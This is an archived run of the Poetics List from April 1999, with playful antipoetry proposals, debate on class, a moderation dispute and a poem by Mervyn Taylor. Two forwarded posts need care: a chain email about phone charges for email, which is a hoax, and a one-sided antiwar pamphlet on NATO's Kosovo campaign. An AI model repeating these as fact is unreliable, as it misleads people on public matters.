> Hi Charles -- I'm with you all the way. Antipoetry month in the midst of > which, taking a cue from Geraut de Borneilh, I propose a TROBAR CLUS week > in which no one shall be allowed to commit a transparency. For that week > all poetic efforts must have the opacity of wood or steel and equal weight.
> Truly CONCRETE POETRY cast in concrete or cast in iron with texts only on > the underside, so that they must be lifted to be read. I am myself > planning a poetry piece in cast glass (really), but fortunately placed > underwater to diminish visibility. Perhaps I can claim a dispensation for > its submergence. In any case it will be at the bottom of a pond if my grant > comes through. Hard to find if not to finally see. So you can see (sic) > I'm with you all the way. I also suggest POEM BARRERS laid across public > roads, so they can IMPEDE traffic. POETIC PITS in sidewalks and walkways.

> POETIC LADDERS from which all but the top and bottom rung are removed.
> POETIC ELEVATORS from which all power must be CUT OFF so that they can > only be moved by hand. WHISPER PERFORMANCES permitting only poetry > performances conducted in whispers only in large auditoriums, where the > first fifteen rows of seats must remain empty. Other suggestions are > welcomed.
>
> Best
>
> David

Brilliant, David!

I'd like to weigh in for [where does that expression come from?]

LIPSYNCH POETRY for extemporaneous & antiquated (de-canonized, like St. Christopher) verse;

MONOMETRICAL VERSE, in which all syllables receive either only stron or weak stress;

IDEOGRAMMATICAL POETRY in which all glyphs ioncorporating faces resolutely (& atypically) turn their backs to each other;

& BACKMASKICAL BARDOLATRY, which reads poets' publication credits (and reviews of their works) backwards.

;~)

Dan Zimmerman

↑ Index

57. Charles Bernstein

Re: April is the cruelest month for poetry ....

Fri 2 Apr 1999

David Antin sent me this reply to "Against National Poetry Month as Such". He said it would be OK to pass it on to the list. --Charles Bernstein ***

from DAVID ANTIN:

Hi Charles -- I'm with you all the way. Antipoetry month in the midst of which, taking a cue from Geraut de Borneilh, I propose a TROBAR CLUS week in which no one shall be allowed to commit a transparency. For that week all poetic efforts must have the opacity of wood or steel and equal weight. Truly CONCRETE POETRY cast in concrete or cast in iron with texts only on the underside, so that they must be lifted to be read. I am myself planning a poetry piece in cast glass (really), but fortunately placed underwater to diminish visibility. Perhaps I can claim a dispensation for its submergence. In any case it will be at the bottom of a pond if my grant comes through. Hard to find if not to finally see. So you can see (sic) I'm with you all the way. I also suggest POEM BARRERS laid across public roads, so they can IMPEDE traffic. POETIC PITS in sidewalks and walkways. POETIC LADDERS from which all but the top and bottom rung are removed. POETIC ELEVATORS from which all power must be CUT OFF so that they can only be moved by hand. WHISPER PERFORMANCES permitting only poetry performances conducted in whispers only in large auditoriums, where the first fifteen rows of seats must remain empty. Other suggestions are welcomed.

Best

David

↑ Index

58. Loss Pequen~o Glazier

Relation of Web/hypertext ed. to book sales

Sat 3 Apr 1999

We are engaged in a project creating a hypertext edition of a book and have run into resistance from the publisher. If anyone knows of a citation that supports the argument that a web version of a book increases sales of the book itself, or any similarly useful info for arguing this point, any suggestions would be most welcome! Thanks ...

↑ Index

59. david bromige

added to antin

Sat 3 Apr 1999

I'd like to suggest that all taperecorders used for poetry readings in the month of April be doctored so that upon being rewound and played back even at full volume nothing can be heard except a faint diabolical cackling (I believe this was done at least once in a trial run at UCSD).

In an alternative move, let's have the tapes be classified as blank but when the machine is switched on & the Poet begins to read, the tape emits a prerecorded, uninterruptible wall of words full volume for at least one hour, during which all efforts to switch off or unplug the machine will prove futile. That should put a stop to any threatened eruption of poetry during this damnable month.

david.

↑ Index

60. Linda Russo
Re: class
Sat 3 Apr 1999

I had the same reaction as David Zauhar on this one: juliana's questions address culture as much as they address class. Cultural studies has always insisted that culture is not the province of a particular class (privileged) but that culture was a "whole way of life" -- that culture was 'mass' -- was everywhere. (and class seems as pervasive.) While this allowed for some needed theorizing and intervention that revealed (and encouraged) a certain amount of autonomy ('subversion') on the side of those who were denied (high) culture (and so were denied 'class', were the underclass) -- it left aside altogether the tricky questions of the production of 'mass culture' -- who produces it? who consumes it? and for what explicity purposes? The same can be asked of class. And the answers in some instances will be identical.

juliana:
> Once we start to act like [class] is >something that can be called out in the language of clear category (that >academic means middle or whatever), we do class the disservice of >assuming it is an easy marker.

The irony being that most modes of communication rely on our acting this way, and the disservice is done in the service of 'fixing' one's class -- remediating. (for an interesting if not endlessly irritating essay on this see "Freshman Composition as Middle Class Enterprise" by Lynn Z. Bloom)

what juliana points out is that class can't be talked about until its cornered. So here's a corner: it strikes me that class is maintained as an economic category only to the extent that its inseparable from its visible, material embodiment: commodities. If posessions are markers of class, what does that make words? where does that leave writers? Innovative writers show us consistently that words are also material things, are not merely referential (i.e. materialized when contrasted to the conventional-and-so-transparent use of syntax, word and subject choice, spelling, pronunication, which are also [middle] class markers) -- and yet innovative writing alone fails as 'subversive', fails to attack from the margin (of race gender class etc.) because it is, finally, just made of words.

It's the people, the movements, the little magazines and presses that gather around and embody those words that make some sort of intervention.

Class afterall is a heinous fiction that They/we maintain, that They/we build into our material circumstances (our institutions) but its a fatal fiction -- people die everyday for lack of the fictionality that is found there.

I can't say I see class (as a problem, as a point of cleavage and meanness) going away anytime soon but i'm glad too people are talking about it, and perhaps maintaining the option that class (race gender etc.) is okay.

↑ Index

61. Sawako Nakayasu speaking of joy
Sat 3 Apr 1999

I teach high school art and math...and found that the math class (math not being my favorite subject) went much better when I tossed some art (which I love) into it. One day we did algebra problems exquisite corpse-style. So: anyone have or know of any poems about or using or related to math?

...about teaching: I've concluded that the best things I ever learned in high school was how to find joy in a subject.

thanks,
Sawako

↑ Index

62. KENT JOHNSON
Re: 3 faces/ list moderation
Sat 3 Apr 1999

Chris:

I used to be quite active on this List (an understatement, perhaps), but since the big arguments of a few months back I've relegated my involvement to reading the archives now and then. I just read your post in response to Jessica Pompeii's very interesting message, including the addendum of your reply to another subscriber wherein you acknowledge, with laudable candor, the "ideological" character of the Poetics List. But Ideology, you assure us, has never kept you from forwarding posts that "provoke consideration or sustained argumentation."

Since you have opened discussion around the issue of List "moderation," please accept this post as an honest attempt to provoke consideration around a specific matter that has troubled me. Please understand that I do not offer these concerns in the spirit of starting another round of angry accusation, which I admit having contributed to when the controversy was at its height. I am simply asking for clarification so as to better form my overall opinion about the List's transformation, and I hope you or Charles Bernstein will be able to offer a response.

So here, in the form of a few pointed questions, is my concern: Does the enactment of the List's "ideological character" mandate, in addition to your daily surveillance of posts, the denial of subscription rights to certain poets? More specifically, are there poets who were previously members of this List who have indeed been denied subscription? If this is not the case, then I apologize for being misinformed, and I hope to soon see again, for example, the provocative and thoughtful posts of Henry Gould, who seems to be under the impression (at least when I spoke to him in Providence a couple months ago) that he is _not_ permitted to rejoin the List.

So what, after all, is the story? If it _is_ the case that certain people have been, so to speak, B92ed from the List, could you explain exactly why? Now that the List is a self-conscious and self-proclaimed ideological space enjoying the benefits of a benevolent panopticism, one effectively designed to keep discussions "on track" and to squelch any drift toward "over-posting," what would be the rationale for banishing someone as passionately committed to the art of poetry (however idiosyncratic one might judge his aesthetic commitments to be) as Henry Gould? Or, for example, for excluding Gabriel Gudding, who could easily be prevented under the new rules from airing anything undiplomatically critical, but who might be allowed to share, here and there, the gift of his mordant intelligence?

All in all, IF it is true that there have been poets "ideologically" excluded from List membership, isn't it actually the case, Chris and Charles, that you ARE, in practice, preventing posts that might "provoke consideration or sustained argumentation" from coming to the List's attention? Now that a center of authority and control is clearly established, why not invite _all_ poets to submit their "considered argumentation" to the moderator's deliberation? There may, of course, be those who will not wish to participate under such conditions, but it certainly can't hurt to make the gesture.

If my questions here are in any way informed by faulty assumptions, I ask you to please post this anyway and then publicly point out my misconceptions. I know that other people share these concerns with me, and so a simple clarification would be a positive thing, even if my error should bring me some embarrassment. Thank you.

On another note, and just up-- The Nation has an important special issue devoted to NATO's war. All articles are available at http://thenation.com/

Kent

↑ Index

63. James Sherry
Cultural Classes and Economic Classes
Sat 3 Apr 1999

There seems to be some confusion between the two types of classes in the messages as I read them in the past two days. Having a nice house and time to get a manicure is a cultural bias and many working class women and men in pink and white collar jobs like to be clean and neat, but are in no way upper or ruling class. We as poets and academics and poet/academics have a cultural class bias, but having books, etc is not an upper class characteristic. There are many cultural classes and they are fungible and are usually subject to an ideological stance that is annoying to other cultural classes. There are also many mixed cultural classes, ie, people with dirty hands and books or clean floors and only electronics or dirty floors and electronics.

Among economic classes there are far fewer. Here ruling class is appropriate to consider, but even within the ruling class there is pecking order such as between Bill Gates and Bill Clinton. Being able to make decisions for others is one of the prime motivators and characteristics of ruling class ideology. Being able to plan the course of the lives of many is also a motivator for ruling class or aspiring ruling class.

There are many cultural classes on this list, but only one or two economic classes on this list, although some of us work more directly for ruling class institutions, such as the teachers and corporate types. Those who do not work for those kinds of institutions may still be of the same economic class, but have different cultural biases.

I don't think anyone on this list is a member of the ruling class. Although some have made some money or inherited enough to qualify, none of us to my knowledge is working to direct the lives of thousands or making decisions to control the course of many lives. We as artists have chosen a path to control that is weak and indirect. That is we can't really determine the effects of our work. But we still believe in the effect poetry can have. We believe that poetry and other arts have an effect on the lives of many indirectly by contributing to the way people talk and think about themselves.

What would we like to contribute to that? How do we think we can best go about it? If we can't exactly predict how our work will effect others, what are the techniques of indirection that are most useful/effective in getting to the kind of presentation we'd like to make while giving us the best chance of gettting the kind of result we want. Do we want to promote a metaphorical message or be exponents of it? I think most of the people reading this list approach the message part metaphorically rather than representing it directly as perscription. The metaphors are riskier than many can imagine. Allen Ginsberg was one who found out the dangers of metaphor after his metaphor had had its sad effects.

In closing I apologize for going so slowly, but read much that confused me in the mails about class and thought this out as I wrote. In that way I don't support the planned out approach to what should be on the list. It's up to Chris, with input from all of us who are willing to contribute, to come up with a functional definition of appropriateness.

James Sherry

↑ Index

64. Michael Krebs
class & kosovo
Sat 3 Apr 1999

There is so little need to be concerned with fabric. This cannot be undone - class, differences, borderlands. It is genetic, this behavior among human beings to territorialize and to single out and dehumanize those individuals opposed to the expansion of one's stature or territory. We can talk about it. We can abstract it. We can even try to fight it.

But look closely at the animal part of us. Understand why our eyes are set forward-facing in our skulls. Understand why we have incisors. Why we are so skilled in the fine art of building and perfecting weapons. We are vicious and we are hungry and we are civilized. All three. Take off your clothes and count the hairs sprouting over your body.

The solution? Better yourself and oppose those who oppose your attempts at bettering yourself. How to do this and what this means, both are in your head. Write it down, maybe. Nihilism is freedom...

www.angelfire.com/nj/totalitarianmuseic

Get your free, private email at http://mail.excite.com/

↑ Index

65. KENT JOHNSON
Five Myths of NATO's war
Sat 3 Apr 1999

The following is taken from Z Net

http://www.lbbs.org/ZNETTOPnoanimation.html.

While a clearer acknowledgment of the long-standing repression suffered by the Kosovar Albanians would have added much to the balance of this "Myth Sheet," the points made are certainly thought-provoking and prompt urgent questions about NATO's actions and the motivations behind them.

Kent

The US/NATO War in Yugoslavia: Five Myths

Myth #1. U.S./NATO had to attack "the Serbs" because the Yugoslav government and President Slobodan Milosevic refused to negotiate on Kosovo, a region of Yugoslavia where ethnic Albanians are the majority.

Reality: U.S./NATO bombs are falling on all Yugoslavs: Serbians, Montenegrins, Albanians, Hungarians, Romanis and other peoples who make up the multiethnic Federal Republic of Yugoslavia. There were no "negotiations." U.S. officials like Secretary of State Madeleine Albright, went out of their way to make this point when "peace talks" were held in France in February. Instead, there was an ultimatum presented by the U.S. government to the Yugoslav government that had three points: 1) Kosovo must be granted autonomy; 2) NATO must be allowed to station 30,000 ground troops in Yugoslavia to ensure this autonomy; and 3) A NATO-conducted referendum for Kosovo's independence from Yugoslavia would take place within three years. The Yugoslav government agreed to the first condition, and rejected the second and third, saying they were a gross violation of their sovereignty and the independence of their country.

Myth #2. Yugoslavia is the aggressor in this conflict and Milosevic is a "new Hitler."

Reality: No Yugoslav soldiers, planes or ships are attacking another country. The conflict in Kosovo is an internal issue. A developing country of 10 million people, Yugoslavia is being attacked by 19 countries, including the biggest military powers in the world, which have a combined population of more than half a billion people. Milosevic has been demonized much like Saddam Hussein is. As a State Department official said, "the demonization of Milosevic is necessary to maintain the air attacks." (S.F. Chronicle, Mar. 30, 1999)

Myth #3. Clinton, Albright and the Pentagon generals were moved to action by their concerns about "ethnic cleansing" and human suffering.

Reality: The U.S., Germany and other NATO powers played a key role in breaking up Yugoslavia in 1991-92, arming and supporting secessionist movements. For 45 years after World War II, the many nationalities that made up Yugoslavia lived together in peace. In the civil wars, which followed the break-up of Yugoslavia, there was much bloodshed and human rights violations on all sides. The biggest single act of "ethnic cleansing" was the forced removal of 600,000

Serbs from the Krajina region of Croatia (a former Yugoslav republic) by the U.S.-trained and armed Croatian military in 1995. More than 55,000 of these Serbs, who were resettled in Kosovo, are among the hundreds of thousands of people made refugees by NATO bombing and the conflict in Kosovo. (Julia Taft, Asst. Secretary of State on C-SPAN, 3-29-99) The U.S. "concern" about removal of people from their homeland is very selective. This is not surprising: Virtually the entire continent of North America was "ethnically cleansed" of Native people to make way for the U.S. and Canada, two of the NATO powers. U.S. policy has supported, with arms and money, the removal of Kurdish people in Turkey, Palestinians, East Timorese, Guatemalan indigenous people -- and the list goes on.

Myth #4. The U.S./NATO goal is to protect the rights of the predominantly Muslim Albanians in Kosovo.

Reality: U.S. officials pretend to care about the rights of Muslim people in Yugoslavia, while their policy of sanctions and war kills 300 Iraqis every day -- half children under 5 years old. Most Iraqis are Muslims.

The Pentagon is not a humanitarian relief agency and the corporate-owned politicians don't really care about any people -- Albanians, Serbs, Kurds, Iraqis, or the poor and working people of this country.

This war is killing people of all nationalities in Yugoslavia, and poisoning their land with radioactive depleted uranium (DU) weapons. Hundreds of thousands of Iraqis, U.S. veterans and their families are suffering from Gulf War Syndrome as a result of depleted uranium poisoning. The Clinton administration and the Pentagon talk about "supporting our troops" before they go into battle, but then deny medical benefits to veterans who suffer from the after-effects of Agent Orange from Vietnam or DU from Iraq.

This war will cost many billions of dollars, money stolen from housing, health care, education and other social programs. Each cruise missile costs $1 million. The only ones who will benefit from this war will be the military-industrial complex and big business.

The real U.S./NATO goal is to break Yugoslavia into ever-smaller pieces and bomb its people into submission. The Balkans is a strategic region, a crossroads between Western Europe and the oil-rich Middle East and Caspian Basin. The U.S. has established, in only 5 years, military domination of the former Yugoslav republics of Croatia, Bosnia and Macedonia, as well as Hungary and Albania. The only hold-out has been what is today the Federal Republic of Yugoslavia. This is the real reason why Yugoslavia has become the target in the Balkans, just as it is the real reason that Iraq has become the target in the Persian/Arabian Gulf region.

Myth #5. U.S. news reports are balanced and impartial, giving us the true story.

Reality: What we see today is a gross distortion of the facts. The media is dominated by big business interests, and functions as a Pentagon propaganda machine. For political purposes, the suffering of only one group, the refugees leaving Kosovo, is shown, while the other Yugoslav victims of the NATO bombing are virtually ignored. The New York Times, CNN, ABC, CBS, NBC, The Chronicle Examiner, and others have given a very slanted view of events in Yugoslavia, to justify the massive bombing. General Electric, one of the country's largest military contractors which supplies engines for NATO jet fighters, owns NBC and co-owns MS/NBC.

Volunteers and donation are needed!

Contact us to receive a copy
of the 1998 IAC book
NATO in the Balkans

International Action Center
39 W. 14th St., #206
New York, NY 10011
[redacted]
fax: [redacted]
http://www.iacenter.org
email: [redacted]

↑ Index

66. Elizabeth Treadwell

Outlet reviews

Sat 3 Apr 1999

Hi all,
I've got my reviewers set, so quickly!, for Outlet 4/5. Thanks to all.

Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

67. emgarrison
No I
Sat 3 Apr 1999

P E A C E

Two consanants

Three vowels

No I

Beth

↑ Index

68. Jessica Pompeii
no one liners
Sat 3 Apr 1999

Jesus did good stand up. He was good on his feet.

OK? I am taking over my body. OK? Freeze. Don't move.

I am a black-hole nothing comes in and nothing goes out.

Crushing victim, baby, no, silicon breasts.

Slack jawed hyena, rapes the desert silence, howling for her mate.

↑ Index

69. m a t t...
Re: No I
Sat 3 Apr 1999

[[redacted] designed]

> P E A C E
>
> Two consanants
>
> Three vowels
>
> No I
> ---
>
> Beth

beautifully put beth.

here's something:

k[no]wledge
ig[no]rance

name:[matt...]
email:[[redacted]]
url:[http://emo.abysmal.net/~circle] statement:[leaves will fall and so shall we]

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

70. Mark Weiss
Mervyn Taylor
Sat 3 Apr 1999

For those of you in SoCal, two events, the first a broadcast, the second a reading, followed by bio and quotes and a sample poem. Mervyn Taylor may be the best poet you discover this year.

1.
>On Monday, April 5th @ 10pm, we introduce Mr. Mervyn
>Taylor sharing poetry from his newly released book.
>Mr. Taylor, visiting from New York, is promoting his book >while sharing his poetry.
>
>If you`re in the environs, tune~in to 90.7-FM (Los >Angeles) or 98.7-FM (Santa Barbara) at 10pm for some >poetry and music.
>
>Blessings w/ Peace!
>
>Angalifu
>Producer, Host
>KUUMBA - Creativity Through Music & Poetry
>KPFK - Los Angeles, 90.7-FM
>

2.
On Wednesday, April 7th at 4:30 at UC-San Diego, in the Visual Arts Performance Space, a FREE reading by Mervyn Taylor.

Mervyn Taylor divides his time between New York and his native Trinidad. Formerly a treasury worker in Trinidad, he currently teaches high school English in the New York City public school system and creative writing at The New School for Social Research. His poems have been published in numerous magazines and several anthologies, among them Giant Talk (Random House) and Rock Against the Wind (William Morrow). He is a graduate of Howard University and holds an MFA in poetry from Columbia University. Junction Press published his first book, _An Island of His Own_, and now, still warm from the press, his second, _The Goat_.

"Using imagery that is subtle yet richly evocative, Mervyn Taylor creates whole lives in just a few short lines. Piquant details and a detached, acutely perceptive voice draw the reader into atmospheres swollen with feeling. These are poems that open up new worlds in which readers may live." Publishers Weekly

"[In his poems] I have discovered Taylor’s remarkable ministorytelling talent, his cool, aphoristic phrasing, his tonally discreet prose lyricism, and his quiet, ironic world view. A poet of technical expertise, thematic understatement, language subtlety, and human warmth and compassion." Andrew Salkey, World Literature Today

"Mervyn is a wary technician, even a cunning one. He works in taut meters that want to cohere the pressures of the casual. Mervyn Taylor is an honest poet, and that is high and sufficient praise indeed." Derek Walcott

The End of Their Days

I. The Father

After he died it was as if the flooring had been taken away and we walked for the longest while on sand, water lapping
at our feet.

Standing tip-toe
the mother would run her hand along the back of the shelves and find a few pennies or none,

and rain blew in on us in the kitchen

as she turned a pot dark as the weather,

and the ghost of a goat butted the ghost of the man and Fitzy his helper paraded with a switch, small cascadoo ghosts leaping in the kitchen.

Then the Indian came and laid linoleum throughout the house so we walked on that and he put a rail on the back steps so the mother wouldn't fall.

Then she hurt her foot on a Morris chair and the wound grew into a lifesore that sent up a warm smell that lit up the house,

and one Christmastime
she dyed her hair and the chemicals left her eyes sealed tight and the windows curtainless, her head blacking the pillow,
the bed unmade,
the house undone.

II. The Mother

After the boys migrated she held out as long as she could, but there was no one to send to the shop for Phensic, and the wound would shrink to a pinhead
then blossom again.

And her best friend held her hand as she asked for the men in her life:
the one who looked so much like her they could pass for twins, who gave her her first son, and the one who gave her her second and built them this house growing silenter by the days.

Then the one who'd been watching all along, who knew her lonely story and came to people her place with strangers.

"Into thy hands,"
her friend intoned.
She repeated it,
and the breadfruit tree dropped a ripe one on the roof that night,
the room growing as hot as La Brea noon.

Her eyes looked at the ceiling to see what repairs had to be done and her ankles twitched as they propped her up to look over the wall for anyone who
at last was coming.

III. The Boy

He thinks he heard his father calling as the goats pull the old man up and down the road, he sees his father’s hand exploring the diseased gut of a ram, worms curling from the hole onto an open palm.

The same hand
polished brass buttons, lifted the silver whistle that blew
to send the trains
lurching forward.

He begins to follow
the old man’s path
down the uprooted track.
He begins to occupy the one-room depot,
a relic himself.

He is deeded more than the house and goat pen.
More than once
the corporal stops him
as he combs Arouca,
looking for Telemaque,
the old man’s one and only friend.

↑ Index

71. Poetics List Administration

email charges / Lowther

Sat 3 Apr 1999

---

had to reformat this. Chris

From: "Lowther,John" <[redacted]>
Date: 4/3/99, 4:29 PM -0500

> PHONE CHARGES FOR THE NET?
>
> CNN reported that in the next two weeks, Congress is going to vote > on allowing telephone companies to charge for Internet access.

that means, every time we make a long distance e-mail we will receive a > long distance charge. This will get costly.
>
> Please visit to the following web site AND complain. Complain to > your Congressman. Don't allow this to pass.
>
> CONTACT: http://www.house.gov/writerep/
>
> Pass this on to your friends. It is urgent! I hope all of you will > pass this on to all your friends and family. All of us have an interest in this bill.

> PLEASE FORWARD

↑ Index

72. Poetics List Administration

Poets on the Verge of a Nervous Breakdown / Greenway

Sat 3 Apr 1999

---

was asked to forward this to the list; queries should go to the addresses specified below.

Chris

From: "Gerard Greenway" <[redacted]>
Date: 4/2/99, 4:59 PM +0100

Dear [redacted]

The editors of the below collection have asked if it would be possible to distribiute the call for papers to the Buffalo list. Could you let me know if you can do this for us.

Thank for your time

Gerard Greenway
managing editor -- Angelaki

Call for Papers

A N G E L A K I
journal of the theoretical humanities

Special Issue 5.1
(for publication march/april 2000)

POETS ON THE VERGE OF A NERVOUS BREAKDOWN
~~~~~~

Edited by Anthony Mellors & Robert Smith

The deconstruction of nostalgia for transcendent identity is crucial to international poetry working out from modernism. If, for example, the work of Andrea Zanzotto, Allen Fisher, and Susan Howe centres on locations saturated with national myths (the Veneto, London, New England), this is not in order to romanticize the poet's identity with the place or to envision universal truths from a local microcosm. Rather, each of these poets takes the immediate environment as a place crossed by divergent histories, perceptions, and ecologies which are traced as partial evidence, inviting readers both to attend to the difficulties of the text and to pursue their own lines of inquiry. Even in the case of Zanzotto's psychoanalysis of pastoral identity, no subject-position is evoked which remains unquestionable.

However, although this kind of poetry has a wide and dedicated audience, it is far removed from what most readers and literary critics today regard as the appropriate form of contemporary verse. Late modernism is post-modern in the sense that Lyotard makes of the term: a critical reworking of the procedures of modernism. But postmodernism has acquired another meaning, which has gained general currency: the outright rejection of modernism as being idealist, elitist, reactionary, inaccessible, and irrelevant. If postmodernism means the breakdown of distinctions between high and low forms of culture, late modernism's formal difficulty puts it squarely in the high culture camp. Post-modernist poetry, on the other hand, turns away from avant-garde experimentation. Instead, it reestablishes the lyric voice, either through ironic parables of the self or as the expression of multicultural identities. It endorses the local, the particular, even the provincial, as the representation of vital if marginalized communities, and it does so without the modernists' desire to sublate the regional into a unified humanist locus. Value is placed on the lucidity and directness with which the poet communicates, allowing readers to identify with representations of their own community or to empathize with others. Poetry is a means - one among many - by which local identities protect themselves from the homogenizing power of the culture industry.

In this light, poetry which suspends identification looks as if it has never managed to break free from the Coleridgean belief in a clerisy of readers only able to grapple with the dialectics of the text because highly attuned to the history and theory of poetic forms. In a world where marginalized voices are fighting for recognition, late modernism stands accused of evading its democratic responsibilities. Far from inspiring readers to engage with questions of identity and difference, these barely legible texts could be said to encourage resignation and indifference in anyone except those who are well educated and already disposed towards the 'difficult matter' of modern art. In contrast, postmodern poetry claims humanist inclusivity without the rhetoric of aesthetic unity. It aspires to what Simon Armitage and Robert Crawford call in their recent Penguin anthology 'the democratic voice'.
~~~~~~

This new poetic democracy is not without its theoretical and institutional problems. Postmodernism argues for the irreducibility of experience, its essential difference from community to community. Yet in this context it requires that all experience be rendered in an identifiable form. In Britain, for example, poetic legitimacy is associated with a deeply ingrained suspicion of 'foreign' influences, so that even where regionalism is valued it tends to be invoked as a populist defence against European experimentalism and American excess. And it is not always clear whether a poet's work is given as regional or radically marginal because it engages with the linguistic and political pressures of non-centralized identity, or simply because the poet has a tenuous association with a marginal site. In _Devolving English Literature_, Robert Crawford wants to affirm the virtues of 'provincial' writing against what he sees as a dominant and exclusive metropolitan culture; yet his preferred exponents of regional identity tend to be poets who, although having Welsh, Irish, or Scottish family origins, are granted cultural legitimacy by conforming to the only poetic 'voice' acceptable to metropolitan publishing houses such as Faber: an ironic lyric style relatively untroubled by the translatability of language or personal experience and endorsing aptness of metaphor as the fundamental mark of poetic value. Crawford's provincial/metropolitan opposition is itself bogus in that it elides the problem of complicity: the notion of the provincial is an invention of the metropolitan bourgeoisie, and its use calls into question Crawford's ability to analyze the politics of poetry beyond a centralist point of view. The position here is both metropolitan and imperialist in that 'provincials' become the subjects of sentimental regard as long as they communicate in the accepted terms; otherwise, they are ignored or denounced. The marginal is invited into the mainstream or preserved as marginal value by the mainstream only when it gives up its attachment to difference.

For late modernists, on the other hand, difference cannot be translated, only approximated. The poem is a construction which makes the reader aware that every translation is an appropriation. It could be argued, however, that the implied reader of this poetry is just as 'metropolitan' as Crawford's democrat. But, while the two positions are not as clear cut as our description suggests, they do represent fundamentally opposed views of poetry's function in modern society. For what we are calling late modernism, poetry can only become a radical force by resisting consumer culture and its appeal to the 'short attention span' of its audience; for postmodernism, poetry can only prevent itself from being marginalized or completely ignored by competing with more marketable forms of cultural production. While the former continues to be reviled by the mainstream publishing houses and literary organs as too rarefied to be of popular interest, the latter is itself beginning to fall foul of market pressures. The current hoo-haa over Oxford University Press's axing of its poetry list shows that the mainstream is somewhat more marginal than its proponents have imagined.

Even so, poetry is flourishing as never before through public readings, small publishers and magazines, and via the Internet. Although these networks might be said merely to affirm poetry's marginalized status in an era of global markets, they nevertheless lay claim to the cultural value of independent means of production. (A modern irony being that small-press material has frequently outsold 'major' publications.) And, if these networks originate from local or marginal groupings, they are anything but narrow in their reach. They have inaugurated a new internationalism in poetry which goes some way to confound the old coteries and critical demarcations. The use of new technology has revitalized traditional media by lowering production costs and has created alternative forms of distribution. Australia, for example, has become a new poetic centre. Through magazines such as John Kinsella's _Salt_, James Taylor's _Boxkite_, and (on the Internet) John Tranter's _Jacket_, it has increased international recognition for Australian writing while creating strong links with poets in France, Britain and the United States.

The aim of this issue of _Angelaki_ is to collect a wide range of critical essays addressing the current state of international poetry. We invite contributions addressing the general questions raised above, and we hope to encourage debate about the history and ideology of modern poetic forms and institutions. Far from being taken as read (which is unlikely considering the partisan nature of the subject), the remarks made here should be seen as the springboard for argument and clearer definition. The issue will also include new poetry.

* * *

Submission Information
~~~~~~~~~~~~~~~~~~~~~~~

Angelaki is a peer-reviewed journal.

ABSTRACTS of 1000 words by APRIL 30 1999.

Abstracts to be sent to the below material address, or e-mailed to: [redacted] If e-mailing, please ensure that you put 'Angelaki 5.1' in the subject line.

FINAL MATERIAL (full essays) for peer review by JUNE 30, 1999.

Essays must be sent in duplicate (double-spaced, paginated) to:
~~~~~~~~~~~~~~~~~~~~~~~

Dr Anthony Mellors
59 Orchard Drive
Durham DH1 1LA
UNITED KINGDOM

* * *

About ANGELAKI
~~~~~~~~~~~~~~~

Angelaki: journal of the theoretical humanities is a print journal published three times a year by Carfax Publishing Limited. The journal publishes two theme issues and one general issue per volume. ISSN: 0969-725X.

Angelaki was selected Best New Journal in the 1996 Council of Editors of Learned Journals Awards.

For further details of the journal and contents listings please visit:
http://www.carfax.co.uk/ang-ad.htm

"Since its inception in 1993, the journal _Angelaki_ has established itself as a leading forum of theoretical reflection, providing a practical refutation of all those who would celebrate 'the end of theory.' Whether it is focused on thematic issues of the most varied nature, introducing thinkers to English-language readers, or treating a variety of problems in open issues, _Angelaki_ challenges the complacency of the self-evident. Required reading for the next millennium." Samuel Weber

Please distribute this call

Gerard Greenway

managing editor
A N G E L A K I
journal of the theoretical humanities
Carfax Publishing Limited
http://www.carfax.co.uk/ang-ad.htm

44 Abbey Road E [redacted]
Oxford OX2 0AE F [redacted]
United Kingdom T [redacted]

↑ Index
~~~~~~~~~~~~~~~

73. Poetics List Administration

A Reply to Kent Johnson

Sat 3 Apr 1999

Kent - As you know, I withheld your message of friday until today; it having been addressed to me by name, I felt it my due at least to have the chance to read it before sending it on. Now that I have read it, I can say that - if not gladly - I'm willing to respond to your questions this once, despite the fact that where they lead may be, whatever your assurances, "another round of angry accusation." On this count, I leave it to other members of the list to judge for themselves how the rhetorical tactics you deploy in such phrases as "B92ed from the List" etcetera balance with those assurances.

Your basic questions, I take it, are these:

1. Does the enactment of the List's "ideological character" mandate, in addition to your daily surveillance of posts, the denial of subscription rights to certain poets?

2. IF it is true that there have been poets "ideologically"
excluded from List membership, isn't it actually the case... that you ARE, in practice, preventing posts that might "provoke consideration or sustained argumentation"
from coming to the List's attention?

My reply is simply this, that the specific ideological cast that you and your friends have wished to give this issue is a gross distortion, and tiresome; and that the supposed intellectual or poetical differences that have comprised this debate are neither. Instead, we - by which I mean the owners of this list and its subscribers - have been met time and again with an empty rhetoric of "free speech" so twisted as to support the grossest domination; coupled with sustained inappropriate behavior toward list administrators and fellow subscribers, as the case may be.

I reserve, as do all listserv moderators, the right to remove from the list and to deny further subscription privileges to any subscriber who will not abide by the rules of the list as set out in the Welcome Message; and this includes "problem" subscribers that were removed or resigned their subscriptioins before I took on the task of list moderation. I use the words "subscription privileges" pointedly - as a little [electronic] bird just reminded me, list membership is a privilege, never a right.

The obligation to remove such subscribers from the list is one I take very, very seriously; so much so that I want to address the specific formulation of the two questions I've quoted above, in order to be absolutely clear. In the first, you ask me if it is true that the fact of moderation on this list mandates "the denial of subscription rights to certain poets." To this I would have to reply that the task of list management has to do with subscribers, and not "poets" as such; and that the implication that anyone has been removed from this list for reasons other than their behavior on this list is certainly false. In the second question, you attempt to demonstrate a flaw in the logic of my earlier claims, to the effect that my actions here are preventing discourse on this list. In answer to this, please refer to my preceding characterization of the "contributions" to which you evidently refer. Those who wish to know more may consult the Poetics List archive, located on the web at <http://writing.upenn.edu/epc/poetics>.

So in fact, Kent, as you suggest in your post, your questions are informed by faulty assumptions. I would go so far as to say that even the assumption that these are questions - of the kind that want answering - would be faulty. What you seem to want, rather than answers, is to make further accusation; and the tenor of your questions bears this out. What I want is to preserve this list, so shaken by the actions of a small group of subscribers, some of whom evidently employed precisely the sort of tactics you employ in this post, if perhaps less subtly; and whose abuses of this list and its members directly precipitated my appearance as moderator.

Now this issue has been given enough time on-list; we have wasted enough bandwidth. To think that 600 people would want to be subjected to "another round of angry accusation," however cooly made, is too much; not to mention my own time, which is precious to me.

Chris

% Christopher W. Alexander
% poetics list moderator

↑ Index

74. Mark Weiss
Re: Five Myths of NATO's war
Sat 3 Apr 1999

